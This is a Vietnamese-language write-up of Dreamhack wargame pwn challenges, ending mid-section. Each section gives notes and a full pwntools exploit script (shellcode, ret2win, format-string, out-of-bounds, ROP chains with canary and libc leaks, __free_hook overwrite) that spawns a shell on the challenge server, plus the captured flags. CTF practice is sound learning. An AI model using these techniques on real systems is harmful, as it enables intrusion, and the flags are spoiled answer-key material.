{%hackmd @themes/dracula %}
# (writeup) dreamhack wargame p1
## welcome

đơn giản chỉ là đọc flag thui =))))))
> DH{5cc72596cba7104569abb37f71b8ccf3}
---
## basic_exploitation_000
- check file

- checksec

- check source code

- BOF ở biến **buf** (khai báo 0x80 ~ 128, nhập 141 byte)
- không shell, không read_flag
- đích thị là ret2shellcode hoặc ROP
- nhưng NX tắt thì khả năng cao là ret2shellcode
- run file thì thấy cho addr của **buf**
- hint:

- gdb thì thấy **buf** sẽ làm gì đó với shellcode của mình
- v ta sẽ leak **buf**
- viết asm shellcode 32bits đơn giản

- NHƯNG nhận dc 1 hint vả vô mặt là ....

- byte 0xb vô nghĩa với **scanf** (hoặc code asm nhà làm có lượng byte k chia hết cho 4)
- asm trên mạng hân hạnh tài trợ (có tính chất tham khảo XD)
- viết shellcode lụm trên mạng r **ljust** 141 - 4 với 4 byte đó là p32 của **buf**

- lúc này thì thấy đã ow dư 4 con A, ta lùi bớt đi 4

- lần này cũng ow dư, nhưng khả năng dư 1 byte 0xff

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./basic_exploitation_000',checksec=False)
#p = process(exe.path)
p = remote('host3.dreamhack.games',15109)
p.recvuntil(b'buf = (')
buf_addr = int(p.recvline()[:-2],16)
shellcode = asm(
'''
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov edx, eax
mov al, 0x8
inc al
inc al
inc al
int 0x80
''', arch='i386')
#input()
payload = shellcode
payload = payload.ljust(132,b'A')
payload += p32(buf_addr)
p.sendline(payload)
p.interactive()
```
>DH{465dd453b2a25a26a847a93d3695676d}
___
## basic_exploitation_001
- check file

- checksec

- check source code

- có hàm đọc flag, hướng: ret2win
- tính offset

- 128 là mới tới ebp, ta cần tới eip nên cộng thêm 4

- rồi ta nhảy vào read_flag + 1, sau *push*

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./basic_exploitation_001',checksec=False)
#p = process(exe.path)
p = remote('host3.dreamhack.games',13706)
#input()
payload = b'A'*132
payload += p32(exe.sym['read_flag']+1)
p.sendline(payload)
p.interactive()
```
>DH{01ec06f5e1466e44f86a79444a7cd116}
---
## shell-basic
- check file

- checksec

- check ida

- thấy rằng ở đây k có BOF(khai báo 0x1000, nhập 0x1000)
- hint:

- hmm, có thể shellcode ta cần là ``cat`` vào đường dẫn đó, chứ k phải shellcode execve tương tác máy chủ
- hèn gì chèn shellcode syscall chả dc =)))))
- thậm chí dựa theo asm từ hint thì cũng khó, tách đường dẫn trên thành 5 phần r push lên stack v.v...

- vẫn là chuyên mục tham khảo internet kkkkkk

- dò la trên mạng về pwntool thì thấy có shellcraft

- qua bên đây thì có thấy shellcraft đi chung vs write (viết)
- mà chưa có read(đọc) cái j thì sao write(viết)
- mà chưa có file để đọc thì sao read =)))))
- trong linuxsyscalltable, ta có

- write dc truyền tham số lần lượt là 1, con trỏ, size
- read thì dc truyền 0x0, con trỏ, size nhưng nếu arg1 truyền 0x0 thì ta phải thao tác thêm tham số bên ngoài nên arg1 truyền thành thanh ghi rax luôn
- open thì chắc cần truyền đường dẫn file
- con trỏ nên là rsp (...stack pointer)
- ngoài ra ta phải định dạng kiến trúc hợp ngữ asm là amd64 trong script

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./shell_basic',checksec=False)
context.arch = "amd64"
#p = process(exe.path)
p = remote('host3.dreamhack.games',18971)
io = '/home/shell_basic/flag_name_is_loooooong'
shellcode = shellcraft.open(io)
shellcode += shellcraft.read('rax','rsp',0x80)
shellcode += shellcraft.write(1,'rsp', 0x80)
payload = asm(shellcode)
p.sendafter(b'shellcode: ',payload)
p.interactive()
```
>DH{ca562d7cf1db6c55cb11c4ec350a3c0b}
>
``tóm lại có thêm kiến thức mới về shellcraft, một công cụ trong pwntool``
___
## Return Address Overwrite
- check file

- checksec

- check ida

- nhìn ida là chắc nịt ret2win
- k cần gdb nhìu lần nè, khai báo 48 ~ rbp, offset 56 (cộng 8 lên thành rip)
- nhảy vào get_shell +1

- pekabo

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./rao',checksec=False)
#p = process(exe.path)
p = remote('host3.dreamhack.games',17594)
payload = b'A'*56
payload += p64(exe.sym['get_shell']+1)
p.sendlineafter(b'Input: ',payload)
p.interactive()
```
>DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc}
---
## basic_exploitation_003
- check file

- checksec

- check source

- chương trình nhập vào heap, giữ ở đó đến khi hàm sprintf xuất hiện thì trả lại những gì mình nhập trong heap
- ban đầu BOF đơn giản ret2win k dc
- và nhận thấy sprintf tựa tựa printf(buf) ~> fmtstr
- tên đề ``basic_`` mà lại có sự kết hợp fmt và ret2win 🥲
- ta sẽ leak %p 1 địa chỉ gần gần ebp

- ebp nằm ở đây, cách 4 lần ``tel`` tương ứng 40 cái %, vậy thì ta lấy %38, gửi 15 hoặc 16 lần
- sau khi thấy gửi 16 thì ow lố ebp nên lấy 15 lần thôi (gdb nhiều lần)
- mà 15 lần thì ret2win chưa tới eip nên sẽ cộng thêm 6 byte A để addr ngay eip jump get_shell

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./basic_exploitation_003',checksec=False)
#p = process(exe.path)
p = remote('host3.dreamhack.games',19498)
#input()
payload = b'%38$p'*15
payload += b'A'*6
payload += p32(exe.sym['get_shell']+1)
p.sendline(payload)
p.interactive()
```
>DH{4e6e355c62249b2da3b566f0d575007e}
---
## out_of_bound
- check file

- checksec

- check source
```c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
```
- coi bài tập về dạng oob thì thấy là


- phương pháp xử lí là truy cập biến ngoài mảng
- hình 1: thứ tự biến là buf, idx, win. buf dạng mảng nên nếu ta truy cập 10 là ngay idx, 11 ngay win

- hình 2: thứ tự biến là win, buf, idx. buf cũng dạng mảng nhưng nó lại đứng sau win nên ta truy cập vào 0 thì vẫn còn trong buf, -1 là ngay win (phép màu liền)

- khai thác tương tự, ``command[]`` xem như là buf[10], thế còn name giúp ta làm gì ?
- ngoài ra trong ``command[]`` có mỗi ``cat``, ``ls``, ... thì vô dụng quá, ta cần đọc flag cơ, cần ``cat flag``
- nếu như ngay lần nhập name, ta nhập ``cat flag`` thì ngay nhập idx tiếp theo, ta sẽ truy cập ngoài mảng ``command[]``
- đặt breakpoint sau lần nhập name, kiểm tra

- tìm kiếm địa chỉ

- tìm tiếp nội dung ``x/10i 0x804a000``

- tới đây thấy có <command> , ``command[]`` này chứa ``cat``, ``ls`` này kia thì ta sẽ thêm 1 nội dung là ``cat flag`` (tới bước này thì ý tưởng lại là tạo 1 lệnh ``cat flag`` trong mảng ``command[]`` XD)
- là ta sẽ p32(0x804a060) r thêm b'cat flag'
- lần nhập thứ 2 sẽ đưa idx trỏ đến ``cat flag``
- ta cần kím offset

- ở 2 dòng này, dòng dưới kha khá là con trỏ hơn (vì mảng trong 32 bit là phải chia 4, 64 bit là chia 8)
- tức là ta cần biết eax trong ``eax*4 + 0x804a060 = 0x804a0ac`` là bao nhiu (``a0ac`` là địa chỉ đỏ chứa 'cat flag\n' ngay hình bên trên)

- hmm, bị lỗi r, offset trỏ thì chắc đúng á nhưng lần nhập name có j đó sai sai
- nhập name ``cat flag`` thì làm sao để khi vào ``system(command[])`` cho có nghĩa
- xoá địa chỉ p32(command) ở trên và break ngay tại system

- nhập 'cat flag' nhưng eax hiển thị mỗi 'cat ' ('c','a','t',' ')
- z có thể liên qua đến name

- nhảy vào name

- debug nhiều lần thì thấy chỉ có name +4 là dc

- tức là tại name +4 mới thay đổi dc thành ``cat flag``

- remote thôi

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./out_of_bound',checksec=False)
#p = process(exe.path)
p = remote('host3.dreamhack.games',19608)
payload = p32(0x804a0b0)
payload += b'cat flag'
p.sendafter(b'name: ',payload)
payload = b'19'
p.sendlineafter(b'want?: ',payload)
p.interactive()
```
> DH{2524e20ddeee45f11c8eb91804d57296}
- túm lại là tự dưng nhảy dô hàm ``command[]`` thì nó bị sai, tại ta dg nhập dữ liệu vào nên khai thác chỉ cần quanh cái ``name`` thôi
---
## Return to Shellcode
- check file

- checksec

- check ida

- lần nhập đầu tiên là sẽ leak canary vì checksec thấy Canary found
- thấy rằng từ buf đến rbp là 96 byte, tức là đến canary 88 byte
- nhưng buf khai báo 88(vừa đủ canary) lại cho phép nhập tới 0x100, nếu nhập đủ 88 thì chả có gì xảy ra cả --> BOF
- ta sẽ nhập 89 byte r leak canary
- vì nhập lố 1 byte trong canary nên khi leak, ta phải thêm null byte đằng trước theo tiêu chuẩn little-endian và lấy recv(7)
- 1 phần do canary có byte cuối là 0x00 nên ta sẽ thêm null byte

- đề còn cho địa chỉ thằng buf, và còn gợi ý là ow ret_addr nên sẽ leak luôn cái buf
- lần nhập thứ 2 sẽ là chèn shellcode, **ljust** đến trước canary r ghi đè canary, thêm 8 byte save_rbp và ghi địa chỉ buf tại save_rip

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./r2s',checksec=False)
#p = process(exe.path)
p = remote('host3.dreamhack.games',18678)
p.recvuntil(b'buf: ')
buf_addr = int(p.recvline()[:-1],16)
log.info("buf: " + hex(buf_addr))
shellcode = asm(
'''
mov rbx, 29400045130965551
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
''', arch='amd64')
#gdb.attach(p, gdbscript='''
#b*main+154
#b*main+159
#b*main+239
#c
#''')
#input()
payload = b'A'*89
p.sendafter(b'Input: ',payload)
p.recvuntil(b'A'*89)
canary_leak = u64(b'\x00' + p.recv(7))
#print(hex(canary_leak))
log.info("canary: " + hex(canary_leak))
payload = shellcode
payload = payload.ljust(88,b'A')
payload += p64(canary_leak)
payload += b'A'*8
payload += p64(buf_addr)
p.sendlineafter(b'Input: ',payload)
p.interactive()
```
>DH{333eb89c9d2615dd8942ece08c1d34d5}
___
## basic_rop_x86
- check file

- checksec

- check source

- check hàm main

- ta thấy có cả ``read``, ``write`` và ``puts`` trong tuỳ chọn ``got``

- ngoài ra, file zip còn cho ta thêm 1 libc
- ta phải leak libc
- hướng đi: đề cho nhập 1 lần, nên ta sẽ đưa payload kèm thêm ``exe.sym['main']`` để tiếp tục thực thi
- check stack(ngay ``read``):

- kiếm option ROP thì ``--ropchain`` k thể, vả lại đây file 32bit nên gadget chưa rành nhiều, ta sẽ kiếm mỗi 'pop' thôi

- lúc này phân vẫn giữa 2 gadget 1 pop 1 ret, k quan tâm gadget có từ 2 pop mới về ret
- tìm offset:

> 72
- GOT là chứa hàm, PLT là thực thi hàm chứa trong GOT...
- hmmmm, ta sẽ truyền PLT của ``puts`` để leak libc, rồi quay lại ``main``, chạy đến GOT của ``read`` để chờ lần nhập thứ 2
- ta skip qua 64 byte 'A' thay vì 72 byte như lần nhập ban đầu vì khi DEBUG thì thấy chỉ trả về 64 byte A và những byte đc leak
- file 32 nên ta chỉ recv(4)
- offset libc base:


- lần nhập thứ 2, ta sẽ truyền vào ``system`` và đưa gadget vào, kế đến truyền '/bin/sh'
- sau khi debug local thì leak dc libc và libc base giống y chang nhưng lại k ret vào ``system`` được
- vã quá lên server thì mới biết là libc khác nhau =)))))
- tức cái lồng ngực dễ sợ

- vì leak từ hàm ``read`` nên sẽ lấy ``libc.sym['read']``
- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./basic_rop_x86',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
pop_ret = 0x080483d9
#pop_ret = 0x0804868b
#p = process(exe.path)
p = remote("host3.dreamhack.games", "13959")
payload = b'A'*72
payload += p32(exe.plt['puts'])
payload += p32(exe.sym['main'])
payload += p32(exe.got['read'])
p.send(payload)
#input()
p.recvuntil(b'A'*64)
libc_leak = u32(p.recv(4))
libc.address = libc_leak - libc.sym['read']
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))
payload = b'A'*72
payload += p32(libc.sym['system']) + p32(pop_ret)
payload += p32(next(libc.search(b'/bin/sh')))
p.sendline(payload)
p.interactive()
```
>DH{ff3976e1fcdb03267e8d1451e56b90a5}
___
## basic_rop_x64
- check file

- checksec

- check source

- khi tìm kiếm các thanh ghi cần thiết thì rdx và rax lại k thấy, nên lờ mờ đoán dc hướng đi phải leak libc để lấy libc base cộng thêm offset trong libc
- tương tự bài ``x86`` thì ta cũng thấy GOT và PLT của các hàm:

- tìm offset

>72
- làm tương tự bài ``x86`` nhưng cách leak libc theo adm64

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./basic_rop_x64',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
#p = process(exe.path)
p = remote("host3.dreamhack.games", "11438")
pop_rdi_exe = 0x0000000000400883
payload = b'A'*72
payload += p64(pop_rdi_exe) + p64(exe.got['puts'])
payload += p64(exe.plt['puts'])
payload += p64(exe.sym['main'])
p.send(payload)
#input()
p.recvuntil(b'A'*64)
libc_leak = u64(p.recv(6) + b'\x00\x00')
libc.address = libc_leak - libc.sym['puts']
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))
#offset gadget trong libc
pop_rdi = libc.address + 0x0000000000021102
pop_rsi = libc.address + 0x00000000000202e8
pop_rdx = libc.address + 0x0000000000001b92
pop_rax = libc.address + 0x0000000000033544
syscall = libc.address + 0x00000000000026bf
payload = b'A'*72
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh')))
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rax) + p64(0x3b)
payload += p64(syscall)
p.sendline(payload)
p.interactive()
```
>DH{357ad9f7c0c54cf85b49dd6b7765fe54}
___
## sint
- check file

- checksec

- check source
```c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
```
- check ida (ida32 trên win hơi lỏ nên thông cảm :<)

- đọc source code ta thấy file sẽ cho ta shell nếu file xuất hiện lỗi SIGSEGV
- biến **size** nếu vượt ngoài phạm vi (0;256) thì sẽ thông báo "Buffer Overflow!\n" và thoát chương trình
- nếu không sẽ đi tiếp in "Data: " và nhập vào biến **buf** với lượng byte cho phép là [size - 1]
- vậy nếu ta muốn xuất hiện lỗi SIGSEGV thì ta cần phải truyền biến **size** bằng 0
- và truyền full byte **buf** tới ebp (sau 7749 phút quằn quại chọn số và data phù hợp XD)

- có lẽ bài này k cần script (nhưng nhờ gdb mới hiểu đc), script để cho hiểu thôi

- remote...

> without script
> data gửi 271 bytes 'a' và 1 byte Enter '\n'

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./sint',checksec=False)
#p = process(exe.path)
p = remote('host3.dreamhack.games',14525)
payload = b'0'
p.sendlineafter(b'Size: ',payload)
#way1
payload = b'A'*272
#way2
#payload = b'a'*260
#payload += p32(exe.sym['get_shell'] + 1)
p.sendafter(b'Data: ',payload)
p.interactive()
```
>DH{d66e84c453b960cfe37780e8ed9d70ab}
___
## awesome_basic
- check file + checksec

- check ida

- debug ta nhập thử full byte đến rsp thử

- lúc này có hàm **write()** cho biến **flag** nhận đối số hơi lạ
- đọc code asm xíu

- việc ta cần là hàm **write()** hoạt động bth, thì đối số cần thiết cho $rdi là 1

- bug nằm ở ``$rbp-0x10``, tại đó ta cần stack chứa 1 là được

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./chall',checksec=False)
#p = process(exe.path)
p = remote('host3.dreamhack.games', 22266)
# gdb.attach(p,gdbscript='''
# b*main+193
# b*main+198
# b*main+261
# c
# ''')
# input()
payload = b'a'*0x50
payload += p32(1)
p.send(payload)
p.interactive()
#DH{4ae8dab78b961371336e61a58d6ec5bf9af48e06ad3d96b3e5461e264e910eaa}
```
> DH{4ae8dab78b961371336e61a58d6ec5bf9af48e06ad3d96b3e5461e264e910eaa}
---
## Return to Library
- check file

- checksec

- check ida

- việc đầu tiên là leak canary
- sau đó leak libc bằng cách truyền 56 byte tới canary, thêm canary r thêm 8 byte save_rbp
- lúc này thấy libc trên sever khác với local, tìm libc và thấy bản libc này phù hợp
``libc6-amd64_2.23-0ubuntu11.3_i386``
- tiếp tục khai thác thì trên local cho shell

- remote thì bị EOF
- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./rtl_patched',checksec=False)
libc = ELF('./libc6-amd64_2.23-0ubuntu11.3_i386.so',checksec=False)
p = process(exe.path)
#p = remote('host3.dreamhack.games',22953)
pop_rdi_exe = 0x0000000000400853
payload = b'A'*57
p.sendafter(b'Buf: ',payload)
#input()
p.recvuntil(b'A'*57)
canary_leak = u64(b'\x00' + p.recv(7))
#print(hex(canary_leak))
log.info("canary: " + hex(canary_leak))
payload = b'A'*56
payload += p64(canary_leak)
payload += b'A'*8
payload += p64(pop_rdi_exe) + p64(exe.got['puts'])
payload += p64(exe.plt['puts'])
payload += p64(exe.sym['main'])
p.sendafter(b'Buf: ',payload)
libc_leak = u64(p.recv(6) + b'\x00\x00')
libc.address = libc_leak - libc.sym['puts']
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))
payload = b'A'*56
p.sendafter(b'Buf: ',payload)
#offset gadget trong libc
pop_rdi = libc.address + 0x0000000000020e92
pop_rsi = libc.address + 0x0000000000020258
pop_rdx = libc.address + 0x0000000000001b92
pop_rax = libc.address + 0x0000000000036318
syscall = libc.address + 0x00000000000026bf
payload = b'A'*56
payload += p64(canary_leak)
payload += b'A'*8
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh')))
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rax) + p64(0x3b)
payload += p64(syscall)
p.recvuntil(b'[2] Overwrite return address\n')
#input()
p.sendafter(b'Buf: ',payload)
p.interactive()
```
- thử lại cách khác thì thấy file source code có sẵn ``binsh`` và ``system``

- ta sẽ đổi 1 xíu cách khai thác

- script hoàn chỉnh:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./rtl_patched',checksec=False)
libc = ELF('./libc6-amd64_2.23-0ubuntu11.3_i386.so',checksec=False)
#p = process(exe.path)
p = remote('host3.dreamhack.games',18244)
pop_rdi_exe = 0x0000000000400853
ret = 0x0000000000400285
payload = b'A'*57
p.sendafter(b'Buf: ',payload)
#input()
p.recvuntil(b'A'*57)
canary_leak = u64(b'\x00' + p.recv(7))
#print(hex(canary_leak))
log.info("canary: " + hex(canary_leak))
payload = b'A'*56
payload += p64(canary_leak)
payload += b'A'*8
payload += p64(pop_rdi_exe) + p64(exe.got['puts'])
payload += p64(exe.plt['puts'])
payload += p64(exe.sym['main'])
#input()
p.sendafter(b'Buf: ',payload)
libc_leak = u64(p.recv(6) + b'\x00\x00')
libc.address = libc_leak - libc.sym['puts']
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))
payload = b'A'*56
p.sendafter(b'Buf: ',payload)
payload = b'A'*56
payload += p64(canary_leak)
payload += b'A'*8
payload += p64(pop_rdi_exe) + p64(0)
payload += p64(pop_rdi_exe) + p64(next(exe.search(b'/bin/sh')))
payload += p64(ret)
payload += p64(exe.sym['system'])
p.recvuntil(b'[2] Overwrite return address\n')
#input()
p.sendafter(b'Buf: ',payload)
p.interactive()
```
- mà hình như script cuối đâu động chạm tới libc nhỉ =)))))
>DH{13e0d0ddf0c71c0ac4410687c11e6b00}
___
## oneshot
- check file

- checksec

- check ida

- check source
```c
// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if(check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
```
- nghe tên đề sẽ liên tưởng đến tool one_gadget

- thấy mỗi ``rax == NULL`` là khả thi
>0x45216
- ta gdb thử để xem ``stdout`` nằm ở đâu thì thấy ngay phân vùng rw- của libc

- hmm, z ta có thể leak libc base dc lun nhỉ, chỉ cần lấy ``stdout`` đề cho sẵn trừ offset symbol['_IO_2_1_stdout_']

- vậy trong script ta sẽ leak ``stdout``, load libc, thêm one_gadget, tính libc base r mần ra shell thôi
- nhưng chớ quên ta còn hàm kiểm tra biến **check**(v5) trên ida, muốn skip qua thì biến **check**(v5) đó bằng 0
- thì **check** nằm sau buf[24]
- nếu ta ghi tới save_rbp rồi p64(one_gadget) thì bị EOF do ta chưa kiểm tra thanh ghi ``rax`` có NULL hay không
- ta chỉ cần thêm 8 byte thay vì 16 byte để tới save_rbp(tại tới save_rbp là thanh ghi ``rax`` sẽ chỉ định tới ``__libc_start_call_main+128``)

- remote:

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./oneshot_patched',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
#p = process(exe.path)
p = remote("host3.dreamhack.games", "23169")
one_gadget = 0x45216
p.recvuntil(b'stdout: ')
stdout = int(p.recvline()[:-1],16)
log.info("stdout: " + hex(stdout))
libc.address = stdout - libc.sym['_IO_2_1_stdout_']
log.info("libc base: " + hex(libc.address))
gadget = libc.address + one_gadget
payload = b'A'*24
payload += p64(0)
payload += b'A'*8
payload += p64(gadget)
p.sendlineafter(b'MSG: ', payload)
p.interactive()
#0x7ffff7e1a780
```
>DH{a6e74f669acffd69602b76c81c0516b2}
___
## off_by_one_001
- check file

- checksec

- check source
```c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_str(char *ptr, int size)
{
int len;
len = read(0, ptr, size);
printf("%d", len);
ptr[len] = '\0';
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char name[20];
int age = 1;
initialize();
printf("Name: ");
read_str(name, 20);
printf("Are you baby?");
if (age == 0)
{
get_shell();
}
else
{
printf("Ok, chance: \n");
read(0, name, 20);
}
return 0;
}
```
- phân tích source:
- lần nhập đầu tiên là cho biến **name*** với lượng byte tối đa là 20
- nhảy vào hàm ``read_str``, xuất ra lượng byte mình nhập vào
- mục tiêu ta là **age*** = 0 để lấy shell
- nếu ta overflow lượng byte hơn 20 thì byte thứ 21 sẽ định nghĩa ntn?
- mục tiêu:

> vị trí $ebp-0x4 phải bằng 0
- check stack sau khi đi qua hàm ``read_str`` và dừng ngay tại ``b*main+58``

- lúc này gdb gửi vào thử 10 byte 'A'
- gdb lần 2 gửi 20 byte thử

- wao, có shell luôn
- thử với 19 byte A vẫn dc

- let's remote and get flag

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./off_by_one_001',checksec=False)
#p = process(exe.path)
p = remote('host3.dreamhack.games',10540)
payload = b'A'*20
p.sendafter(b'Name: ',payload)
p.interactive()
```
>DH{343bab3ef81db6f26ee5f1362942cd79}
---
## hook
- check file

- checksec

- check ida

- check source code:
```c
// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
```
- hint:


- theo như hint nhận đc là ta cần leak dc malloc và free (sao giống bài heap thế nhỉ XD)
- ``malloc`` chắc là cấp phát bộ nhớ còn ``free`` thì giải phóng bộ nhớ
- theo source thì biến **ptr** sẽ dc cấp phát bộ nhớ dựa vào biến **size**
- rồi nhập vào biến **ptr** theo lượng byte của **size**
- kế đến tạo con trỏ kép, ``**ptr`` trỏ tới 1 con trỏ khác ``*(ptr+1)``
- vậy thì ``**ptr`` phải trỏ tới cùng ``system(/bin/sh)``
- vậy ta cần con trỏ ``*(ptr+1)`` trỏ tới trước ``system(/bin/sh)`` 1 cái

- theo ``disas main`` là ``**ptr`` cần phải trỏ ở ``0x400a11``
> trỏ của trỏ, cần trỏ system thì phải trỏ trước system để (trỏ +1) là ngay system, lú thiệt =)))
- thế thì sau khi ``ptr = malloc(size)`` ta phải làm gì đó để trỏ tới ``system(/bin/sh)``
- thì sau khi lệnh trỏ của trỏ ta thấy ``free(ptr)`` 2 lần rồi đến thực thi ``system(/bin/sh)``
- ta nhìn ở 2 lần ``free(ptr)``

- và cả lần ``printf`` lẫn ``read``

- đều liên quan tới ``rbp-0x10`` nhỉ XDD, lúc này ta có thể đoán được là tại ``rbp-0x10`` là con trỏ ptr
- break ngay tại ``read`` với **size** dc nhập đại là 40

- đúng là ngay ``rbp-0x10`` là ngay heap( địa chỉ màu xanh) đg k chứa dữ liệu
- vậy ta chỉ cần free 1 lần là có thể tới dc ``system`` nhưng file lại ``free(ptr)`` tận 2 lần, điều này để ngăn chặn thực thi ``system`` ở dòng cuối chăng?
- nếu free 2 lần sẽ bị lỗi ``double_free_conrupt`` thì ta sẽ dùng free_hook
- free_hook nói nôm na là 1 loại biến để check, nếu free_hook chứa dữ liệu thì khi tới hàm **free** sẽ thực thi cái free_hook trước
- vậy ptr đầu tiên là free_hook, rồi trỏ đến system (tức gán system vào free_hook để tới **free** là có shell)
- ta vẫn leak libc base như bài ``one shot``
- lấy địa chỉ "free_hook"
- tạo 1 mallloc(bộ nhớ) với lượng byte phù hợp (ban đầu thử 10 k được nên đổi qua 11)
- gửi free cộng với địa chỉ trước ``system(/bin/sh)`` 1 cái
- vì nhảy tới trước ``system(/bin/sh)`` thì nó chạy độc lập với cái bên dưới
- hoặc gửi exe.sym['system'] cũng dc é =))))

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./hook_patched',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
#p = process(exe.path)
p = remote('host3.dreamhack.games', 20502)
system = 0x400a11
#system = exe.sym['system']
p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1], 16)
log.info("stdout: " + hex(stdout))
libc.address = stdout - libc.sym["_IO_2_1_stdout_"]
log.info("libc base: " + hex(libc.address))
free = libc.sym["__free_hook"]
payload = str(11)
p.sendlineafter("Size: ", payload)
payload = p64(free) + p64(system)
p.sendafter("Data: ", payload)
p.interactive()
```
>DH{5203c83c34143bab58f653d1c1339016}
---
## rop
- check file

- checksec

- check ida

- check source

- bài này làm tương tự bài #Return to Library

- remote:

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF("./rop_patched",checksec=False)
libc = ELF("./libc-2.27.so",checksec=False)
ld = ELF("./ld-2.27.so",checksec=False)
#p = process(exe.path)
p = remote("host3.dreamhack.games", "23196")
payload = b'A'*57
p.sendafter(b'Buf: ',payload)
#input()
p.recvuntil(b'A'*57)
canary_leak = u64(b'\x00' + p.recv(7))
#print(hex(canary_leak))
log.info("canary: " + hex(canary_leak))
pop_rdi_exe = 0x00000000004007f3
ret = 0x000000000040055e
payload = b'A'*56
payload += p64(canary_leak)
payload += b'A'*8
payload += p64(pop_rdi_exe) + p64(exe.got['puts'])
payload += p64(exe.plt['puts'])
payload += p64(exe.sym['main'])
#input()
p.sendafter(b'Buf: ',payload)
libc_leak = u64(p.recv(6) + b'\x00\x00')
libc.address = libc_leak - libc.sym['puts']
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))
payload = b'A'*56
p.sendafter(b'Buf: ',payload)
payload = b'A'*56
payload += p64(canary_leak)
payload += b'A'*8
payload += p64(pop_rdi_exe) + p64(next(libc.search(b'/bin/sh')))
payload += p64(ret)
payload += p64(libc.sym['system'])
p.recvuntil(b'[2] Input ROP payload')
p.sendafter(b'Buf: ',payload)
p.interactive()
```
>DH{68b82d23a30015c732688c89bd03d401}
___
## off_by_one_000
- check file

- checksec

- check source
```c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
